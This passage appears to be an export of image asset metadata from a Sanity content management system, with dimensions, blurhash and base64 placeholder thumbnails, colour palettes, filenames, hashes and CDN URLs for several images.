5XM1yWljhk51tvju7y5dn+7TqSziidpQ5CXtExeK3ctN/yVAQpJCIGBKv6EOXYw2KiEEZV2yKjB6laqQ4q67zxVGPz48POOluouVmsc5ZkWcl5FmZAZfEoOdSl4pg00TsCRk5qlxJveGRGfIo3IreJqcvUMkanJoNPjs75vXJEY3qClPRaQZclzkJMSgy6BG57pJQwgqCU5eY0BWsMYUBn8J7M1YkrxMtsUBjKUtjSWevus7LkyM+e3Sfu80S8wk/o/4JZO8otrAVS1DihltkyCchWEIiQ5ctPpkR7ziOgBdNS1BI5anGDVrJJEflAp+eHPDfJ2e82t6ml1thc1Enm4wSSnhwROxYAiLDfgvC3x0S12bsOCM+0noaM1fkIFemFlvF8CTYiKQ53ijz5nCfjw+OeFQweWBs8iJf52K1SiuzSiwexR4YZ8QvIoxMTxOcT1BYrtHNm5ytNHmwVKEWLRD3ZDACGbb0Ev21Fq2sSVGr09QaPDRaXGRMdvRtlrUyvmAIxaciJGOLVJc2KRkdCoktdpI19lMVKrEK2mwZY65II1akqZUpxerk5lsU41scpFucGiZmqsu6ZqKHDcb8kwjV+KWrEkakghGpsq2VuZsu01mosBZvUNXq9JNl9lJVOrrJVrpLJ93mImvywco295a6dJPbFCJ5JrxehIJHo+hLsRLMUwxv0IsXeZwucqKX2TFM+tk2j1ea/3dX6nG81udk+Q4frbX5z3qHi/wuR3qbUriA41aYvwBjoRNh20v4PgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#405235","foreground":"#fff","population":7.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#596918","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#405235","foreground":"#fff","population":7.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a097","foreground":"#000","population":6.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeb8b2","foreground":"#000","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e5364","foreground":"#fff","population":7.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b85844","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pro_erik_doernenburg2.png","path":"images/sczeoy4w/production/fccb43a883774738492a3c72a0b5e85aa2bfae96-700x657.png","sha1hash":"fccb43a883774738492a3c72a0b5e85aa2bfae96","size":1018530,"uploadId":"24LtrRoqB6y9ZP4451mfLqWBFal2DsXT","url":"https://cdn.sanity.io/images/sczeoy4w/production/fccb43a883774738492a3c72a0b5e85aa2bfae96-700x657.png"} {"_createdAt":"2022-06-15T20:02:48Z","_id":"image-fd29f03f0c266ea16b819260a2b10c3cce4e2a76-3133x1688-png","_rev":"QRl2cGoCgj0FlAhkRriQjk","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:25Z","assetId":"fd29f03f0c266ea16b819260a2b10c3cce4e2a76","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MmP?REcu-RInspt5WEaeWYg3%LMyNat7jZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAADCklEQVQokVWPXW/bZBiG/aM45C+AxDEIAWL0gA0JBAc0DIHWVgsgtG5dkbKk6do0bVonaxLIMpK2W1hWkjhp1jQf/oiT2s6H/b6u18ZO0To/z9QwCXFw6Tq7dd1MuzP4iheVIC8qUUFSt0RJYwVJZXlRYTvdPmsMKWv0B6wmS6wmi6zUajzg/s7HhfLj6FjKstDe3gI5HUXl2X3QOA9Tb8qB8kFDKHK1k1K5RsoHdcpVjmipXKMtvkOHA0JlUaL53GPKFfZpo35k7uefmtxelFpFL8XipwS4L06gsSCCnFpluoqxKck9U5BU5EUFRUlDYYKKiqqjoZsoNFv4RzKJvycTWCwUMPckh7sJPyrpT/BV9i3EvbcRilMn2PTFGYPaGwa1DZ2MUCcjVycj+I8zGAwo1A4bsB5eh8XFuxCPb8OjR39Ckg1CZeMqjJLvuvjsCkLtZ9MV2RRDTCdCTIcQ00FiOvDGE4b6KaqqjtVKFZcDfrw5N4fBYBDj8Tiym+uYWZzFwcLX4KZ/w4ujtDUW/spcFkYMahOD2mhQGy5NTBt1YqOsnWGzTbDBlTATuov3bt3EgN+PLMtieG0No7MzKH4+BePr3+Jo+Z5l7SazjPH/Qtegk0ro9B3IHJ7D6lMHEg+rsBOYh8j8Dbi/5IdoLAbhcBjW5mah+uEH8OKd93A0dc0aL/myDPm30HhT6BLTBp06UJbO4c7OBXyz9RJmV3hYmfdB+JcfYDXgmwxGIhEI3b4FhS+vuWcff4SvpqctNxbKMKRHNgeKTlWVYH/4YnJ5SBwsiecYyL3E2ykLN0IPMXdnGveXbmA6toGJ7QeYikdxNxZGcd2H/7B+xL3YKTSe7DBUVhY0vlNpi4qsaLSlkxFvUIdv9xy+JI75Sn3AdzOrvLXymUBTv7Zbhb0Ol8t26vvZTv95ruM0c7Ir5Y/huHAIGhdiiKa/P1CG36uqMdMbWt8Z1PYQ0/Fc2qAjj2lQz5lQ8Izzy9fHB4mZ027Na3WPvM7xc++FVvVCr+JFjfsJNO5HUEtXXgNK1dIDC/4OCAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383a49","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803603","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86a08","foreground":"#fff","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79793","foreground":"#000","population":0.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdd65","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9270","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86a08","foreground":"#fff","population":0.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fd29f03f0c266ea16b819260a2b10c3cce4e2a76-3133x1688.png","path":"images/sczeoy4w/production/fd29f03f0c266ea16b819260a2b10c3cce4e2a76-3133x1688.png","sha1hash":"fd29f03f0c266ea16b819260a2b10c3cce4e2a76","size":1116632,"uploadId":"9x2368fCPZKfGZnvo5DD47MzuDogsLCH","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd29f03f0c266ea16b819260a2b10c3cce4e2a76-3133x1688.png"} {"_createdAt":"2022-06-30T20:11:19Z","_id":"image-fd48e9912ba4d262931f74cb5fbabadc03f20089-1812x1227-png","_rev":"vDQRRYe9nRreptIRp5kAAl","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:57Z","assetId":"fd48e9912ba4d262931f74cb5fbabadc03f20089","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V12~iejI4Tkp_4?doy9EV]?v%goLMxbH%gx[jIahkUjZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4767726161369192,"height":1227,"width":1812},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAABgklEQVQ4jZWTyVLDMAyG+wBNGmezYztb3YVAyzIM9MQDMJzKCYYLB268//lnpDRtujCUwz9yZOuzJCsDW8+hiylSXSOSOURiEMkCKnfsL90lFncrLG5X0OUUocwPVCDOKqSmZg0IECQGo1jDjzL4oWJLviDWKF2Dl/Ub1h9fmFzdww83Z3p2FJE0RnGGwTBIQfKEZB2ubTXD8/odr5/fmF6v2r3NmS522NOgCz4lykCaGs3NI5YPTzB1wxn1L/UOtAfsHyQYlRKrgntpSupzxW2gvVMx3m9AAtED0eMQMMlKtt2a9ujM2UCRGEgzRpY7Lrl7/URXMNWMJyCIzf+Ayo6hrGPIFpiVsNUcWTHh77N7GMSaZ4qzUyVEmrNPpBaqcCyRboDBfvx2bPrjQ/0JU8s9ZFhieU6FtpAXDqpxENbCC/8o+XBkdgPcDrEwBnIxhlw6iKIF9jPcA3YATyh4ZI+UwU80Am0hjMUo1a3/VA+pxO5X8yOSOVZsj3x0SQvalf0DalBHRVR65fcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54543c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#075724","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6f9991","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b9c4","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b8d7e6","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f9991","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60b0e0","foreground":"#000","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fd48e9912ba4d262931f74cb5fbabadc03f20089-1812x1227.png","path":"images/sczeoy4w/production/fd48e9912ba4d262931f74cb5fbabadc03f20089-1812x1227.png","sha1hash":"fd48e9912ba4d262931f74cb5fbabadc03f20089","size":172372,"uploadId":"OhacPSDdOq0SDb3vg66UUxo5N8zbo3CH","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd48e9912ba4d262931f74cb5fbabadc03f20089-1812x1227.png"} {"_createdAt":"2022-10-03T10:29:15Z","_id":"image-fd540c57bdfbffe016558ec5c484ee584c44280e-1280x720-jpg","_rev":"XMqVxILwpPMz4xYxcCgwju","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:29:15Z","assetId":"fd540c57bdfbffe016558ec5c484ee584c44280e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwj/xAAcEAADAAIDAQAAAAAAAAAAAAAAAQIRIQMxQnH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABURAQEAAAAAAAAAAAAAAAAAAAAh/9oADAMBAAIRAxEAPwDS3HMy21y0vgzDWN3RVhZ6XYwonC0gIVwvTYApnekAWP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#625c60","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f0535","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a898a","foreground":"#fff","population":0.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbad4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a898a","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f40a66","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"M3-control.jpg","path":"images/sczeoy4w/production/fd540c57bdfbffe016558ec5c484ee584c44280e-1280x720.jpg","sha1hash":"fd540c57bdfbffe016558ec5c484ee584c44280e","size":60098,"uploadId":"jYBY5f61qBbXlntjCNkFwgFPNocL5npW","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd540c57bdfbffe016558ec5c484ee584c44280e-1280x720.jpg"} {"_createdAt":"2024-07-03T08:41:26Z","_id":"image-fd58efd9dd9fe6faad17c50134e3c82a13c8feaf-2560x1706-jpg","_rev":"dL4QB5BmM9bhrJSKRq57W3","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T08:41:26Z","assetId":"fd58efd9dd9fe6faad17c50134e3c82a13c8feaf","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VbLzQ;xvSi%gx]?wxuxZt8ogx^NGaKWBR,%1RPS4WBae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5005861664712778,"height":1706,"width":2560},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQHAv/EACMQAAEDBAIBBQAAAAAAAAAAAAECAwQABQYRISIxE0FxgZH/xAAVAQEBAAAAAAAAAAAAAAAAAAABBP/EABoRAAMAAwEAAAAAAAAAAAAAAAABAgMTQVH/2gAMAwEAAhEDEQA/AKbmmSxGZYENQcloPZpv3+aVeymU1apL7FtCnNgDsOTryKkVuv7mo0dTCFPvlRdkE9lfVUBpfo2eM2kbCwVKJPk1Hku4tvhdGOLlLpq1X7I5cNLoRHQCT1WBsUUnvXHP7RRuDQ/T/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#52392c","foreground":"#fff","population":1.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#774125","foreground":"#fff","population":2.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b08d74","foreground":"#fff","population":6.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6c0ae","foreground":"#000","population":3.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8d666","foreground":"#000","population":0.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b08d74","foreground":"#fff","population":6.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad753a","foreground":"#fff","population":5.99,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"BackMarket2.jpeg","path":"images/sczeoy4w/production/fd58efd9dd9fe6faad17c50134e3c82a13c8feaf-2560x1706.jpg","sha1hash":"fd58efd9dd9fe6faad17c50134e3c82a13c8feaf","size":662717,"uploadId":"TpM7p9LsnqdXQs3R4UbG0SyVEomU74mn","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd58efd9dd9fe6faad17c50134e3c82a13c8feaf-2560x1706.jpg"} {"_createdAt":"2024-01-10T11:08:59Z","_id":"image-fd761762895bf17a4c3a1090cb5a358ee15ac3aa-1179x516-png","_rev":"BPcLfKU310hDl60jaPfbxc","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:59Z","assetId":"fd761762895bf17a4c3a1090cb5a358ee15ac3aa","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2848837209302326,"height":516,"width":1179},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVUlEQVQokVWQ207bQBRF/buFSoDbAKJJy6USaijfhKCBOI6SqJS/wPbcznXsoHYwSsnSeph52NrnnOzk7PJweHFw/G3/aPQxH+zsf947Oj8Y/shHV4OvP/PhOB+OP42uDk+v8y/j3cH3D4OLjVlZ3M6mN/PydjG/K4ub6fTuvphPZsvJbHU/W/0qlpNi9TD/XS6fyuVTsXgsFn82ZsHV3lZCrtWg4hF8Y0zVmNrYJtnU6e2s8z4AMkuMEtveTFWJSDWuEy8sUjXmuapqY6xzPnjrXGOtsdY6D0jattp2vVkbRYWjapdYE0tVp2YPiCwkiizIjMT9d1ObmhmBEJmJExIAG+uND8BMGlki65ZbYdMP9EawztfG1da5AAEJieGdyLK1MwBCOsQbgGSsrxpjnA9I72PEwro9dtetu+71WK+IRuvhuU5hF8AF8IABqR9Y2//Jf+G/0cPfEVMBOH0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324152","foreground":"#fff","population":7.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142434","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#324152","foreground":"#fff","population":7.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c0d4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9f1d0","foreground":"#000","population":1.79,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717c94","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#467fb8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"tracking-table-hasura.png","path":"images/sczeoy4w/production/fd761762895bf17a4c3a1090cb5a358ee15ac3aa-1179x516.png","sha1hash":"fd761762895bf17a4c3a1090cb5a358ee15ac3aa","size":24278,"uploadId":"grkITEG3XaCAKv3b5jLYzCn1B7Pqesti","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd761762895bf17a4c3a1090cb5a358ee15ac3aa-1179x516.png"} {"_createdAt":"2022-06-16T22:54:08Z","_id":"image-fd7f0ccd834af2baa2b61241bc633a206f7b932d-150x27-png","_rev":"0HOthdQkSgJdYc0C9vxYor","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:08Z","assetId":"fd7f0ccd834af2baa2b61241bc633a206f7b932d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4009jvfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.555555555555555,"height":27,"width":150},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoUlEQVQYlS3QzUoCYBCF4ecqpJUErkqJVFBBBKEfMUlFSUWhUKidIbhRQbwPrzYmZjEcmHO+mXc+eEIXHVRRwiNqKKOBCm7xgDoKuMECZ6yxwhV+8YklpuhncJM6QQ/P+MhsLLnHG4Z4z8wuBv5glGY8/krjgG8M8Io5ttjjJaljeQwMbSbUP1Wc28pgkF1wyjPCa2OWvaj4omICHFPvMP4DdqUYXhQfIXwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-maria01.png","path":"images/sczeoy4w/production/fd7f0ccd834af2baa2b61241bc633a206f7b932d-150x27.png","sha1hash":"fd7f0ccd834af2baa2b61241bc633a206f7b932d","size":1380,"uploadId":"kXBaiaHIfKPNu3gjvmA3I6F74Pubj6X0","url":"https://cdn.sanity.io/images/sczeoy4w/production/fd7f0ccd834af2baa2b61241bc633a206f7b932d-150x27.png"} {"_createdAt":"2023-06-14T11:25:53Z","_id":"image-fda06c225c623279d34c2d46ac528dc133ba40d8-800x1200-jpg","_rev":"FJE9FJz5NeK3Yo2P5NWZrM","_type":"sanity.imageAsset","_updatedAt":"2023-06-14T11:25:53Z","assetId":"fda06c225c623279d34c2d46ac528dc133ba40d8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ddNAF?IV*0-pT2%Mx]e.SgoJVYNHbcM{jYt7o#t7Rjo0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":1200,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUHBgT/xAAnEAABAwMCBgIDAAAAAAAAAAACAQMEAAURBhIHEyExQVEUIhYkMv/EABcBAQEBAQAAAAAAAAAAAAAAAAQFAgP/xAAbEQACAgMBAAAAAAAAAAAAAAABAgADERITQf/aAAwDAQACEQMRAD8ArmspB2LRlzuEcgGQ0yvK3L3Je1Sbg/qG/Wp5z84+WUa5GKR3z+wAS+F9VSuL7HytEbfvyweAz2d8JWYttqLU9jjW4pT4NFy3MGH84XOc1m24o4AnemgPWWMokiCnNXHVKK7nEFvaGc7RQc+8UUvJhMSX6wvE+52p5uIf6rq7BRPKe6fcL4j6wQcnukSNptDHTNK2AYdbixdio2vhK16kNtiN8gUEBBcIlSny7bGUlYImq+x7Jhb3VIHUQVopLFuLhsiS560Unq8LzWf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b3b2f","foreground":"#fff","population":1.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e3625","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d3c3b5","foreground":"#000","population":5.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c3b5","foreground":"#000","population":5.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b891","foreground":"#000","population":0.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f715c","foreground":"#fff","population":4.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c98f78","foreground":"#000","population":1.65,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"celeste-horgan.jpg","path":"images/sczeoy4w/production/fda06c225c623279d34c2d46ac528dc133ba40d8-800x1200.jpg","sha1hash":"fda06c225c623279d34c2d46ac528dc133ba40d8","size":61904,"uploadId":"iQ6FaDGNN1ZqDkYGiUll4bVAibppVbis","url":"https://cdn.sanity.io/images/sczeoy4w/production/fda06c225c623279d34c2d46ac528dc133ba40d8-800x1200.jpg"} {"_createdAt":"2024-06-28T12:55:28Z","_id":"image-fda167cb0adc3dfbc03deffe1874ceb260d41113-1646x1396-png","_rev":"eksQ0uttcr8BeSzSscnL1j","_type":"sanity.imageAsset","_updatedAt":"2024-06-28T12:55:28Z","assetId":"fda167cb0adc3dfbc03deffe1874ceb260d41113","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9LD[Z?b3r00;epJ00~C_3J-00?HU^F2yE4:?GxuIUR500R$a1-UR4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.179083094555874,"height":1396,"width":1646},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFDElEQVQ4jW2UWVBVdQCH/9qkaA9ONWNqyyCmZiU1ieaWo01Zag3pTNK45pIgYmhZbpQEilnIdgURzWSaygVBxQBZLijJIvvlXu7h3rOf/9n3c+71KqOchh566jfzPf6+xw/EzNoMAHgdgNHLwcm8MgA5EeDmQwDGrQYALAaxc1NBTx8NHMf5l+hZ20D0zA1RU2LWLYh59fPU195KTJ8Zu/3QS9M3fjp7zo4pYNGyPWNnxyVNmr9kz4tf7S9+GhnEx0i2NWrOot1RsXN3Tlq6/JsprqKKCYZhjMcJJspxnFEH0komrtuctWft+qOtG7b+hK7fcsK/LSnn0plzlWvAkYzzM5J25+/69tDZ41U17SmaZrxnaMrkg2kls5JTXbszjv2W3trWn2Sa5kZd1z82DS26qenetLLyxtyLlxuMsvLbzrXKu05dQxfqR4ijoOZWy4qy8qbqv6pb5UCQIizL+kMX2PerK92flFc0NdS7OwQMo4Oqqvp1Xa8xZDGBDfjegAzM53hRl2R12DCsYTsUpm07lAdQjFhJUrASQp5XFJUPWWZVSILxMOhfTZHMLYbhRI7jBUkSJV1TO02J3yEFPHNUWTxlGEbItm0nEok4Q0NDbCQSKQAEQb3CMNx2koKZOMEcCwbJXXfcrXG33S1xFMUkyrKcJoviYYWDR0wB7jVYcp5AojMUWc7SNA0zDEOy7ZAUiUR6w+HwMVDyy/VJ+9POrUxOdSUnp7q+TEzJ3/nZpuNbEjZmbfo+ozShpc37riHxs+2uuphI85XocE/DszxknhMlaY2iKFmqpuUahpFjWVaarusfgbqGe2+fL60pzDtV3pF3qqI3v7CiJ9d1ta+g8Fp3WfkdN06wF+5bZqLta4tVPe2LJYJYxUN+HsMqqyiof41T6mGcUg/SUNtG0WIcoGg2Hhkkmj39weGBAdzxdQecvr+9jq8PG/aj7CNG1E3Lsi+HIRovDCJfQIzMYEm4meGsTIwOtfUPan5fQPdhdKiKgmYyUFV1tSzLd0VRdExNc/QA5yhtqKORkuOjFKeXkB+Jqln1gEVXCJ3N89nezuWsf+BDhrVLMPq+7UFUpx9RHZQKsxRr5wFFkeNlWW6SJPGBqWkPNVJ4KHnIIZkWh/ykOOTBBVuQ1IoIM/iOnbP1Kfvk+iiyt2caw1qZOG0PehHB8CKChlFWJwnNdMAw7EKKggU4Trspim0icKaRxuhamRfqeV7ohqyASIJQaqKe+Y+Tpz8pOQ5AEGwCDfVlGCkf8HjRMx4vVoAScgpBK0vBjZt3pheVXE/+Ofey68fsi8XZeVdcf16q3UcM+DZJNH2CodgajmIKVU/bAifzg7HXAAAezhpN0uI4P4JO7OjsmtnR2T3Nj+DPYAQcB27ealuYXVx17mhuuTe74Opg8dlK7/UbzaWYpz+BCwa340HqNBPEf9A63HOd75aMBQAAb8pigEMVSGr4v2hATgcoDgHo8uErrzQO1Fxt9BotnX7TN4CZNM21axy7D6LYXjRA/U6h5Em1/948J2ftmJEzOQJGAxpqIECYIEhogKBlgBEsAAjBvnnbC/e1B/giVlSKTNM4bVtWuqVIayHBHAoG6AYSh7+qNLnAuXvhiRHh/aFh4EwGwO12g/r6elBXVweqq6tBbW0tAEggOH4ApScHSXYqxwtTRVGK4Xn+eVMRX5A4cRVFwMMszSdaivyy81gYNSJ8rPLAGcnl/+wf2Oepp7mvveoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323662","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b3519","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#616c92","foreground":"#fff","population":0.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7b0c7","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef87bc","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#616c92","foreground":"#fff","population":0.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2484cc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Personalized Communcations.png","path":"images/sczeoy4w/production/fda167cb0adc3dfbc03deffe1874ceb260d41113-1646x1396.png","sha1hash":"fda167cb0adc3dfbc03deffe1874ceb260d41113","size":60224,"uploadId":"puWBhL35UxEHmzFFrWGKM45zujz4KE4e","url":"https://cdn.sanity.io/images/sczeoy4w/production/fda167cb0adc3dfbc03deffe1874ceb260d41113-1646x1396.png"} 